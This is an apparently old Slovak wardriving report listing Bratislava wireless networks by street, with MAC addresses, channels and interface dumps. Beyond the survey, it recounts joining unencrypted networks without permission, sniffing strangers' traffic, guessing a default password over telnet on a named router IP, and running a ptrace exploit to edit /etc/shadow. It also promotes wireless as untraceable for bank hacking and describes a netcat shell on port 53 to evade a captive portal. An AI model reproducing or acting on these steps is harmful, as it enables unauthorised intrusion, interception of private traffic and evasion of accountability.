samsung ap nie PMDUNION 02:d0:d8:64:00:4f 1 peer ano -------------------------------------------------------------------------------- poznamka: tu sme cakali viac. napriklad take silne omni apcko sis-ky alebo st-cka by zahrialo. lokalita: kamenne namestie meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- wli_001 00:60:b3:16:1b:35 11 z-com ap nie wli_003 00:60:b3:16:31:fe 3 z-com ap nie dunaj1 00:02:78:e0:34:9d 1 samsung ap nie horzqu 00:02:78:e1:45:f6 10 samsung ap nie default 00:90:4b:08:0b:c7 3 gemtek (d-link) ap ano horsec2 00:02:78:e1:45:4c 4 samsung ap nie -------------------------------------------------------------------------------- lokalita: ruzinovska ulica, kerametal meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- 00ABFF07 00:02:78:e1:d3:91 12 samsung ap nie 007SOU 00:02:78:e1:d3:f0 3 samsung ap nie CDutar 00:02:78:e2:00:04 7 samsung ap nie 009SOUAP 00:02:78:e1:ff:f1 13 samsung ap nie sunteq2 00:90:4b:60:60:db 13 gemtek (d-link) ap nie rainap 00:02:78:e0:34:af 3 samsung ap nie -------------------------------------------------------------------------------- poznamka: *SOU* je zjavne miestne stredne odborne uciliste kusok od kerametalu. rainap je zjavne mikrovlnka datalock rainside. lokalita: koliba, pod vysielacom meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- b0de6a 00:40:96:34:85:80 4 cisco (aironet) ap nie TECHPRAZSKA 00:90:4b:0b:22:d1 7 gemtek (d-link) ap ano txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano Backup34 00:10:e7:f5:54:07 7 breezenet ap ano -------------------------------------------------------------------------------- lokalita: krizna, pri slovnaft pumpe meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- tsunami 00:40:96:34:85:64 6 cisco (aironet) ap nie cyrano 00:60:b3:16:66:1d 1 z-com ap nie chtf-kor 00:04:47:50:11:48 5 ap nie -------------------------------------------------------------------------------- poznamka: chtf je zjavne chemicko-technologicka fakulta stu. na cyrano sme sa napichli pri budove chtf: eth1 IEEE 802.11-DS ESSID:"cyrano" Nickname:"HERMES I" Mode:Managed Frequency:2.457GHz Access Point: 44:44:44:44:44:44 Bit Rate:2Mb/s Tx-Power=15 dBm Sensitivity:1/3 Retry limit:4 RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality:0/92 Signal level:134/153 Noise level:134/153 Rx invalid nwid:0 Rx invalid crypt:32 Rx invalid frag:6955 Tx excessive retries:37 Invalid misc:0 Missed beacon:0 eth1 Link encap:UNSPEC HWaddr 00-02-2D-2E-BA-BE inet addr:63.112.169.6 Bcast:63.255.255.255 Mask:255.255.255.0 UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1 RX packets:37984 errors:70458 dropped:0 overruns:0 frame:70457 TX packets:4495 errors:42 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:5048648 (4.8 Mb) TX bytes:625024 (610.3 Kb) Interrupt:5 Base address:0x100 Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 63.112.169.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1 127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo lokalita: krizna, hotel kyjev meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- cyrano 00:60:b3:16:66:1d 1 z-com ap nie wli_001 00:60:b3:16:1b:35 11 z-com ap nie wli_003 00:60:b3:16:31:fe 3 z-com ap nie MadNet_Manderla_Omni 00:c0:02:46:13:80 2 ap nie -------------------------------------------------------------------------------- lokalita: lesna ulica meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- 6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie 1234 00:40:96:44:31:94 10 cisco (aironet) ap nie 5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie metros 00:60:b3:66:12:a5 5 z-com ap nie metrom 00:60:b3:4f:1e:e4 12 z-com ap nie paleo1 00:60:b3:16:63:f5 13 z-com ap nie matrix 00:60:b3:16:63:ef 9 z-com ap nie metror 00:60:b3:66:12:a6 8 z-com ap nie -------------------------------------------------------------------------------- lokalita: majernikova 17, zastavka autobusu meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- WL 72:de:c0:2e:52:c3 1 peer nie hotspot 00:90:0e:00:25:33 6 ap nie homeoffice 00:02:2d:30:5b:60 11 agere(lucent)orinoco ap ano sturak 02:02:2d:0e:89:97 9 agere(lucent)orinoco peer ano 12121212 22:00:e4:02:f4:02 3 peer nie EUnet STV Omni 00:60:1d:f6:7c:2d 9 agere (lucent) wavelan ap nie HRAD2DD 00:02:78:e1:d4:28 4 samsung ap nie borik 00:60:b3:16:66:0a 9 z-com ap nie DMC-BA 00:02:2d:1f:7a:13 7 agere(lucent)orinoco ap nie ------------------------------------------------------------------------------- lokalita: matusova 17 meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- DMC-BA 00:02:2d:1f:7a:13 7 agere(lucent)orinoco ap nie CDkramareAP 00:02:78:e1:ff:f2 3 samsung ap nie Academia 00:40:96:44:8a:ab 5 cisco (aironet) ap nie -------------------------------------------------------------------------------- lokalita: mileticovam, pri trznici meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- CDICON02 00:60:b3:4f:1c:2a 2 z-com ap nie Andrej Network 00:02:2d:07:c4:c9 1 agere(lucent)orinoco ap nie postelap 00:02:78:e1:d3:bf 13 samsung ap nie -------------------------------------------------------------------------------- lokalita: mileticova - trnavska meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- 00ABFF07 00:02:78:e1:d3:91 12 samsung ap nie CASABLANCA_KOV3 02:02:2d:4f:15:b2 11 agere(lucent)orinoco ap ano cdicon 00:02:78:e1:d4:2e 8 samsung ap nie TeleViaWireless2 00:60:1d:21:dd:a8 13 agere (lucent) wavelan ap nie 1034 00:40:96:44:2a:d3 10 cisco (aironet) ap nie 00AB 00:60:b3:4f:02:4a 7 z-com ap nie wlanba1 00:60:b3:16:5c:d9 11 z-com ap nie waskol 00:90:4b:0e:cd:e7 3 gemtek(d-link) ap nie TeleViaWireless 00:60:1d:21:dc:bb 2 agere (lucent) wavelan ap nie 5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie textpalkov 00:90:4b:0b:5b:f6 4 gemtek(d-link) ap ano realnetpbly 4e:03:d5:00:e2:02 6 peer nie sibirska 00:90:4b:0d:ce:3f 13 gemtek(d-link) ap nie metrom 00:60:b3:4f:1e:e4 12 z-com ap nie -------------------------------------------------------------------------------- poznamka: na wlanba1 bezalo velke mnozstvo http trafficu. akurat niekto searchoval google. napichli sme sa na neho na parkovisku pri rozhlase. tu su sietove udaje: eth1 IEEE 802.11-DS ESSID:"wlanba1" Nickname:"HERMES I" Mode:Managed Frequency:2.462GHz Access Point: 00:60:B3:16:5C:D9 Bit Rate:2Mb/s Tx-Power=15 dBm Sensitivity:1/3 Retry limit:4 RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality:8/92 Signal level:-90 dBm Noise level:-98 dBm Rx invalid nwid:0 Rx invalid crypt:15 Rx invalid frag:6953 Tx excessive retries:35 Invalid misc:0 Missed beacon:0 eth1 Link encap:UNSPEC HWaddr 00-02-2D-2E-BA-BE inet addr:192.168.2.109 Bcast:192.168.2.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:37734 errors:67241 dropped:0 overruns:0 frame:67240 TX packets:4458 errors:34 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:4975543 (4.7 Mb) TX bytes:619264 (604.7 Kb) Interrupt:5 Base address:0x100 Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 192.168.2.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1 127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo lokalita: mileticova - kosicka meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- CDICON02 00:60:b3:4f:1c:2a 2 z-com ap nie postelap 00:02:78:e1:d3:bf 13 samsung ap nie Andrej Network 00:02:2d:07:c4:c9 1 agere(lucent)orinoco ap nie txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano milnapal 00:90:4b:0b:5b:74 9 gemtek(d-link) ap ano textpalkov 00:90:4b:0b:5b:f6 4 gemtek(d-link) ap ano bct 00:02:78:e1:43:e1 11 samsung ap nie ssc-pd 00:02:78:e0:32:c9 13 samsung ap nie 00ABFF07 00:02:78:e1:d3:91 12 samsung ap nie cdicon 00:02:78:e1:d4:2e 8 samsung ap nie 1034 00:40:96:44:2a:d3 10 cisco (aironet) ap nie CASABLANCA_KOVTECH 02:02:2d:52:0a:32 13 agere(lucent)orinoco peer ano 00AB 00:60:b3:4f:02:4a 7 z-com ap nie gasss 00:02:78:e0:e3:28 12 samsung ap nie -------------------------------------------------------------------------------- lokalita: mlynska dolina pod lafranconi mostom meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- metror 00:60:b3:66:12:a6 8 z-com ap nie DMC-BA 00:02:2d:1f:7a:13 7 agere(lucent) orinoco ap nie -------------------------------------------------------------------------------- lokalita: most snp meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- 5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie 6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie SAVJULS 00:40:96:34:e3:1c 10 cisco (aironet) ap nie TECHPRAZSKA 00:90:4b:0b:22:d1 7 gemtek (d-link) ap ano EUnet Kutlikova Centrum 00:60:1d:1e:b4:f6 6 agere (lucent) wavelan ap nie -------------------------------------------------------------------------------- poznamka: pod mostom snp sme zastali na parkovisku oproti restauracii leberfinger. trochu sme vyplasili taku pettingujucu dvojicu vo vedlajsom zaparkovanom aute; treba uznat ze sme vyzerali podivne a bola uz aj pozdna nocna hodina. no ale k veci, prijemnych 256kb/s nam na pockanie dodal eunet az z dalekeho technopolu: eth1 IEEE 802.11-DS ESSID:"EUnet Kutlikova Centrum" Nickname:"HERMES I" Mode:Managed Frequency:2.437GHz Access Point: 00:60:1D:1E:B4:F6 Bit Rate:1Mb/s Tx-Power=15 dBm Sensitivity:1/3 Retry limit:4 RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality:4/92 Signal level:-89 dBm Noise level:-93 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:32 Tx excessive retries:213 Invalid misc:0 Missed beacon:0 eth1 Link encap:UNSPEC HWaddr 00-02-2D-2E-BA-BE inet addr:194.1.174.3 Bcast:194.1.174.255 Mask:255.255.255.0 UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1 RX packets:10739 errors:8628 dropped:0 overruns:0 frame:8107 TX packets:1030 errors:209 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:3698111 (3.5 Mb) TX bytes:325572 (317.9 Kb) Interrupt:5 Base address:0x100 Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 194.1.174.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1 127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo 0.0.0.0 194.1.174.1 0.0.0.0 UG 0 0 0 eth1 lokalita: saratovska zial z tejto lokality nemame zoznam sieti, sem do dubravky sme isli ako na poslednu lokalitu cestou domov. na zastavke autobusu saratovska 2 sme sa napichli na siet metrod: eth1 IEEE 802.11-DS ESSID:"metrod" Nickname:"HERMES I" Mode:Managed Frequency:2.462GHz Access Point: 00:60:B3:66:38:A4 Bit Rate:1Mb/s Tx-Power=15 dBm Sensitivity:1/3 Retry limit:4 RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality:12/92 Signal level:-84 dBm Noise level:-96 dBm Rx invalid nwid:0 Rx invalid crypt:3275 Rx invalid frag:74 Tx excessive retries:1102 Invalid misc:0 Missed beacon:0 eth1 Link encap:Ethernet HWaddr 00:02:2D:2E:BA:BE inet addr:62.168.108.212 Bcast:62.255.255.255 Mask:255.255.255.0 UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1 RX packets:31309 errors:16064 dropped:0 overruns:0 frame:15447 TX packets:6647 errors:102046 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:11998952 (11.4 Mb) TX bytes:1265135 (1.2 Mb) Interrupt:5 Base address:0x100 Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 62.168.108.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1 127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo 0.0.0.0 62.168.108.210 0.0.0.0 UG 0 0 0 eth1 noo a potom nastala pekna vypapavka - root na routovacom linuxe do 2-3 minut od prvotneho pripojenia na siet. nmap na adresu 62.168.108.209 ukazal kopec volnych portov, takze nasledovalo: # finger grid@62.168.108.209 [62.168.108.209] login: root Directory: /root Last login Wed Nov 13 01:47 (CET) on pts/1 from sky.grid.sk No mail. No Plan. #finger grid@62.168.108.209 Login: grid Directory: /home/grid Never logged in. No mail. No Plan. # telnet 62.168.108.209 Connected to 62.168.108.209. Escape character is '^]'. Red Hat Linux release 6.2 (Zoot) Kernel 2.2.14-5.0 on an i586 login: root Password: (skusili sme heslo grid) Login incorrect login: grid Password: (skusili sme heslo grid) [grid@rep grid]$ a voila boli sme dnuka. potom este male sondovanie... [grid@rep mars_nwe]$ /usr/sbin/traceroute 195.168.3.1 traceroute to 195.168.3.1 (195.168.3.1), 30 hops max, 38 byte packets 1 b-b.grid.sk (62.168.120.146) 15.018 ms 11.940 ms 7.420 ms 2 k-m.grid.sk (62.168.120.177) 15.149 ms 3.867 ms 3.548 ms 3 a-s.grid.sk (62.168.120.129) 8.410 ms * 11.311 ms [grid@rep mars_nwe]$ telnet 62.168.120.146 Trying 62.168.120.146... telnet: Unable to connect to remote host: Connection refused [grid@rep mars_nwe]$ telnet 62.168.120.177 Trying 62.168.120.177... telnet: Unable to connect to remote host: Connection refused [grid@rep mars_nwe]$ telnet 62.168.120.129 Trying 62.168.120.129... telnet: Unable to connect to remote host: Connection refused [grid@rep mars_nwe]$ [grid@rep mars_nwe]$ ls -al ako uz bolo hore spomenute baterky na maniacovom notebooku dosli v najnevhodnejsej chvili - pri editacii /etc/shadow na tomto mikrovlnnom routri [ptrace exploit sme tahali samozrejme po luxusnom 256kbps mikrovlnnom konekte] :) samozrejme hned sme pripli aj antoniov notebook, ale kym sa o5 dostal na ten router, tak notebook zdochol aj jemu - proste murphy sa nam zubil do xichtu a odkazoval nam, ze o tretej rano by uz bolo nacim ist spat :) co by ale bol hriech nespomenut je to, ze "provider" inkriminovanej wireless siete mal na vsetkych interfejsoch pustene sniffre a poctivo logoval cely traffic (takze ked si vyberate ISP, tak rozmyslajte aj nad tym ktoreho si vyberiete a co mu nechate citat :) pripadne aj hocikomu okoloiducemu v pripade ze konfiguracia mw zariadeni bola odflaknuta). lokalita: slavin - misikova ulica meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- Technologies 00:60:b3:4f:04:cc 13 z-com ap nie EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76 1 agere(lucent) wavelan ap nie bct1 00:02:78:e0:2b:07 11 samsung ap nie dcc 00:60:b3:4f:04:da 9 z-com ap nie wli_001 00:60:b3:16:1b:35 11 z-com ap nie wli_004 00:90:4b:0b:5b:9b 13 gemtek (d-link) ap nie default 00:60:b3:10:05:a0 13 z-com peer nie 5a51ee 00:40:96:29:db:28 10 cisco (aironet) ap nie Backup34 00:10:e7:f5:54:07 7 breezenet ap ano postelap 00:02:78:e1:d3:bf 13 samsung ap nie -------------------------------------------------------------------------------- lokalita: slavin meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- MadNetMediaOmni 00:c0:02:46:15:74 7 ap nie EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76 1 agere(lucent) wavelan ap nie tsunami 00:40:96:34:85:64 6 cisco (aironet) ap nie wli_001 00:60:b3:16:1b:35 11 z-com ap nie dunaj1 00:02:78:e0:34:9d 1 samsung ap nie zipp 00:02:78:e1:45:46 1 samsung ap nie Technologies 00:60:b3:4f:04:cc 13 z-com ap nie EUnet Kutlikova Centrum 00:60:1d:1e:b4:f6 6 agere (lucent) wavelan ap nie -------------------------------------------------------------------------------- lokalita: stara vinarska cesta meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- dcc 00:60:b3:4f:04:da 9 z-com ap nie EUnet Kutlikova Centrum 00:60:1d:1e:b4:f6 6 agere (lucent) wavelan ap nie dunaj1 00:02:78:e0:34:9d 1 samsung ap nie finger 00:02:78:e1:10:36 9 samsung ap nie SAVJULS 00:40:96:34:e3:1c 10 cisco (aironet) ap nie wli_001 00:60:b3:16:1b:35 11 z-com ap nie -------------------------------------------------------------------------------- poznamky: tu sme chvilu pobudli pripojeni na "EUnet Kutlikova Centrum". na sieti bola cula prevadzka, tu su parametre pripojenia: eth1 IEEE 802.11-DS ESSID:"EUnet Kutlikova Centrum" Nickname:"HERMES I" Mode:Managed Frequency:2.437GHz Access Point: 00:60:1D:1E:B4:F6 Bit Rate:1Mb/s Tx-Power=15 dBm Sensitivity:1/3 Retry limit:4 RTS thr:off Fragment thr:off Power Management:off Link Quality:3/92 Signal level:-88 dBm Noise level:-92 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:22 Tx excessive retries:117 Invalid misc:0 Missed beacon:0 eth1 Link encap:UNSPEC HWaddr 00-02-2D-2E-BA-BE inet addr:194.1.174.5 Bcast:194.1.174.255 Mask:255.255.255.0 UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1 RX packets:6605 errors:2660 dropped:0 overruns:0 frame:2660 TX packets:893 errors:205760 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:3649690 (3.4 Mb) TX bytes:153056 (149.4 Kb) Interrupt:5 Base address:0x100 Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 194.1.174.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1 127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo 0.0.0.0 194.1.174.1 0.0.0.0 UG 0 0 0 eth1 za poznamku tiez stoji ze sa dal sniffovat dost culy traffic, dokonca sme spoznali irc traffic jedneho znameho. pripadali sme si ako keby sme vkracali do serverovne eunetu a strcili si kabel do nejakeho velkeho hubu... lokalita: namestie snp meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- dunaj1 00:02:78:e0:34:9d 1 samsung ap nie hozsvor 00:02:78:e0:34:bc 7 samsung ap nie horsec2 00:02:78:e1:45:4c 4 samsung ap nie My Wireless Network A 00:02:2d:51:06:e1 3 agere (lucent) orinoco ap nie wli_001 00:60:b3:16:1b:35 11 z-com ap nie wli_003 00:60:b3:16:31:fe 3 z-com ap nie horzqu 00:02:78:e1:45:f6 10 samsung ap nie -------------------------------------------------------------------------------- lokalita: tomasikova - nevadzova, pri televizii luna meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- lunar 00:90:4b:08:0c:9f 7 gemtek (d-link) ap ano CDutar 00:02:78:e2:00:04 7 samsung ap nie ------------------------------------------------------------------------------- lokalita: petrzka - pred tpd meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- 6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie vrakuna-imc 00:02:78:e1:d3:ff 12 samsung ap nie EWInchebaPristav 00:02:2d:3e:fe:95 4 agere (lucent) orinoco ap nie tpd-ap 00:02:78:e1:ff:f4 13 samsung ap nie -------------------------------------------------------------------------------- poznamka: vonku pred obchodnym domom tpd bol super signal na siet tpd-ap. behalo tam viacero sieti: 192.168.x.x 195.168.3.2 [rovnake data ako na kolibe] 10.x.x.x siet lokalita: pionierska meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- metro 00:40:96:24:bf:f3 7 cisco (aironet) ap nie sibirska 00:90:4b:0d:ce:3f 13 gemtek(d-link) ap nie TeleViaWireless2 00:60:1d:21:dd:a8 13 agere (lucent) wavelan ap nie TeleViaWireless 00:60:1d:21:dc:bb 2 agere (lucent) wavelan ap nie cdicon 00:02:78:e1:d4:2e 8 samsung ap nie tsunami 00:40:96:34:85:64 6 cisco (aironet) ap nie blabla 00:60:b3:16:84:cf 3 z-com ap nie -------------------------------------------------------------------------------- lokalita: parkovisko na streche polusu meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- racsz 02:02:65:3b:6c:3b 3 peer nie istro1 00:02:78:e0:34:86 7 samsung ap nie b0de6a 00:40:96:38:3f:02 4 cisco (aironet) ap nie ssek-tr 00:02:78:e0:33:6f 12 samsung ap nie -------------------------------------------------------------------------------- lokalita: parkovisko na streche polusu - blizsie k administrativnej budove meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- tomas0 00:02:78:e2:00:31 8 samsung ap nie racsz 02:02:65:3b:6c:3b 3 peer nie ssek-tr 00:02:78:e0:33:6f 12 samsung ap nie tomas1 00:02:78:e1:44:17 9 samsung ap nie -------------------------------------------------------------------------------- poznamka: nooo cakali sme wlanku ibm alebo eurotelu :( lokalita: prazska ulica meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- 00AB 00:60:b3:4f:02:4a 7 z-com ap nie PRAVA 00:90:4b:08:0b:d6 11 gemtek (d-link) ap nie 6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie 1234 00:40:96:44:31:94 10 cisco (aironet) ap nie 5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie 5a51ee 00:40:96:29:db:28 10 cisco (aironet) ap nie -------------------------------------------------------------------------------- lokalita: prievozska - bajkalska meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- CDutar 00:02:78:e2:00:04 7 samsung ap nie grtostav 00:90:4b:0b:5c:47 11 gemtek (d-link) ap ano txgrtobaj 00:90:4b:0b:5c:14 6 gemtek (d-link) ap ano txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano horzqu 00:02:78:e1:45:f6 10 samsung ap nie zse3 00:02:78:e0:b3:d1 3 samsung ap nie EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76 1 agere(lucent) wavelan ap nie EuroWeb Bajkalska East 00:60:1d:f6:7b:72 12 agere(lucent) wavelan ap nie EuroWeb Bajkalska Omni 00:60:1d:04:06:4f 1 agere(lucent) wavelan ap nie EWInchebaPristav 00:02:2d:3e:fe:95 4 agere(lucent) orinoco ap nie -------------------------------------------------------------------------------- lokalita: prievozska - business centrum meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- grtostav 00:90:4b:0b:5c:47 11 gemtek (d-link) ap ano ANY 00:02:2d:00:82:d0 7 agere(lucent) orinoco ap nie bct 00:02:78:e1:43:e1 zse3 00:02:78:e0:b3:d1 3 samsung ap nie txgrtobaj 00:90:4b:0b:5c:14 6 gemtek (d-link) ap ano txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano -------------------------------------------------------------------------------- lokalita: majernikova - pribisova meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- sturak 02:02:2d:0e:89:97 9 agere(lucent)orinoco peer ano EUnet STV Omni 00:60:1d:f6:7c:2d 9 agere (lucent) wavelan ap nie vran 00:90:4b:0b:5c:a5 6 gemtek (d-link) ap ano freeehr 00:02:78:e0:34:ba 8 samsung ap nie borik 00:60:b3:16:66:0a 9 z-com ap nie WL 72:de:c0:2e:52:c3 1 peer nie 6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie hradport4 00:02:78:e1:d3:a9 12 samsung ap nie PRIFUKAP 00:02:78:e0:b3:90 5 samsung ap nie 18181818 a6:01:7d:00:94:03 11 peer nie zad-mat 00:02:78:e1:d3:b5 2 samsung ap nie EUnet Petrzalka East 00:02:2d:09:1b:1b 1 agere(lucent)orinoco ap nie freee 00:02:78:e0:34:21 2 samsung ap nie vran2 00:90:4b:08:0b:c0 1 gemtek (d-link) ap ano imc-mat-ap 00:02:78:e1:d3:b6 7 samsung ap nie mat3 00:90:4b:08:0c:81 11 gemtek (d-link) ap nie 12121212 22:00:e4:02:f4:02 3 peer nie martineg 00:02:78:e1:10:23 1 samsung ap nie HRAD2DD 00:02:78:e1:d4:28 4 samsung ap nie OrinocoAP 00:02:2d:2c:ea:59 7 agere(lucent)orinoco ap nie -------------------------------------------------------------------------------- lokalita: stary most meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- horsec2 00:02:78:e1:45:4c 4 samsung ap nie EWInchebaPristav 00:02:2d:3e:fe:95 4 agere(lucent) orinoco ap nie 5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie dcc 00:60:b3:4f:04:da 9 z-com ap nie SAVJULS 00:40:96:34:e3:1c 10 cisco (aironet) ap nie hrad 00:02:78:e1:45:21 1 samsung ap nie zse3 00:02:78:e0:b3:d1 3 samsung ap nie vrakuna-imc 00:02:78:e1:d3:ff 12 samsung ap nie 6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie mat1 00:90:4b:08:0c:70 6 gemtek (d-link) ap nie -------------------------------------------------------------------------------- lokalita: stromova - pri siemense meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- WaveLAN Network 00:02:a5:2d:a2:d9 10 ap ano Inoteska 02:90:87:c7:b5:bd 9 peer nie -------------------------------------------------------------------------------- lokalita: teslova meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- govline 00:02:78:e0:34:82 6 samsung ap nie norton_home 00:02:2d:0c:fa:fb 11 agere (lucent) orinoco ap ano tomas0 00:02:78:e2:00:31 8 samsung ap nie -------------------------------------------------------------------------------- lokalita: tomasikova - drienova meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- tomas1 00:02:78:e1:44:17 9 samsung ap nie metrom 00:60:b3:4f:1e:e4 12 z-com ap nie txgrtobaj 00:90:4b:0b:5c:14 6 gemtek (d-link) ap ano ANECT_BA-SSID#1 00:0a:8a:5f:33:50 7 ap ano -------------------------------------------------------------------------------- lokalita: tomasikova - vajnorska meno mac adresa kanal vendor typ krypt -------------------------------------------------------------------------------- tomas1 00:02:78:e1:44:17 9 samsung ap nie tomas0 00:02:78:e2:00:31 8 samsung ap nie tercoplast 02:90:c3:57:a5:87 1 peer ano racsz 02:02:65:3b:6c:3b 3 peer nie milnapal 00:90:4b:0b:5b:74 9 gemtek (d-link) ap ano --------------------------------------------------------------------------------
statistika
skenovanim zopar vybranych lokalit v sirsom centre blavy sme nasli 143 wlan sieti. z nich 26 bolo kryptovanych, co je len 18%; zvysnych 117 sieti bolo nekryptovanych. z tych 117 zhruba na polovici sme vedeli byt aktivni bud automaticky pridelenymi dhcp udajmi, alebo nakonfigurovanim ip adresy na zaklade tcpdumpu. zhruba na polovici sieti kde sme mohli byt aktivni sme dokazali do par minut najst gateway alebo proxy von na internet.
zaverom
celkom sme sa bavili na tom ako nas okolo polnoci zastavila policajna hliadka v okoli pionierskej ulice a snazili sa pochopit co nam to trci z auta :) pohlad do auta plneho pozapinanych notebookov a kablov bol tiez iste zvlastny.. ..nastastie boli policajti chapavi a nechali nas dokoncit nas "skolsky projekt" ;)
nuz ale, co dodat zaverom.. dnes v dobe handheldov s wireless interfejsmi a teenagermi, ktori si z krabicky od Prinkles chipsov spravia yagi antenu by sme odporucali kryptovat co sa len da. vid pripad "slavin", kde sme sa bavili na tom ako sa jeden nas znamy pokusa najst nejake mp3 na warezackych kanaloch na ircnete, svet je maly :)
ukazalo sa ze pripojit sa na internet pomocou bezdratovej siete je v bratislave velmi jednoduche. je to ten najanonymnejsi sposob pripojenia na internet aky existuje. nikto vas nikdy nevystopuje. je to anonymnejsie ako cez gsm, pevnu linku, alebo v internetovej kaviarni s umelymi fuzami. takze ak sa chystate na ten tucny hack velkej banky (viz dva prielomy dozadu), staci si sadnut s malym notebookom niekde na slavin..
..a naco slavin, mozete sa hrat priamo doma alebo trebars na hoteli. zaujimavu story o pripajani sa na bezdrat v norsku poslal maniac mailom:
Nooo,
mali sme hotel asi 500m od istej telekomunikacnej budovy vo Furnebu. Tak som vytiahol notebuk na izbe, ze xecknem ci mame signal a viola, signal strength: Excellent. Dokonca aj DHCP sa rozficalo, dostal som verejnu ip, nska a gateway. Bol to adresny priestor Telenor Mobile. Samozrejme bolo to komplet zafirewallovane a browser mi na akekolvek url hodil uvitaciu obrazovku TM s tym ze mozem mat testovaciu prevadzku na dobu 3 minuty :-) Mali to dost advanced porobene, ziadne overflowy ani cross-site na to php nezaberali. Nmapom som poscanoval pridelenu siet nasiel som tam este jednu masinu - NTcka, ktore boli ale zaheslovane a nic sa s nimi nedalo riesit. Pripomeniem ze prihlasovacia stranka TM bola na https. Nasledne som zistil, ze kamkolvek spravim TCP konekt, dostanem odpoved asi takuto: "http://10.0.10.1 HTTP/1.0". Dokonca pri pokuse o konekt na 25 alebo 110, alebo 21 bol pred tym url este 2xx-tkovy kod danej sluzby. Cize niekto sa s tym celkom dobre vyhral.. Ta aplikacia sa vola NOMAD.
Napadlo ma este skusit ci fici dnsko priamo zvonka. A fici! Takze dalsi den ked sme boli v Telenore, tak som si na localhost.sk pustil na jednej z ipeciek netcat na porte 53/udp, ktory pustal tcsh. Hladal som nejaky rozumny tunel ale nic som nenasiel, takze som ostal pri tom netcate. Problem bol v tom, ze som mohol spravit len jeden konekt. Akonahle som sa diskonektol tak uz sa nedalo pripojit druhy krat, NC ostal vysiet, cize sa to nedalo poriesit cez inittab/daemontools. Takze na hotel som odchadzal s tym ze mam presne jeden pokus (samozrejme aj to len v pripade, ze mi v tedy na izbe naozaj odpovedal localhos.sk a nebol to len nejaky fake cez NAT alebo take volaco).
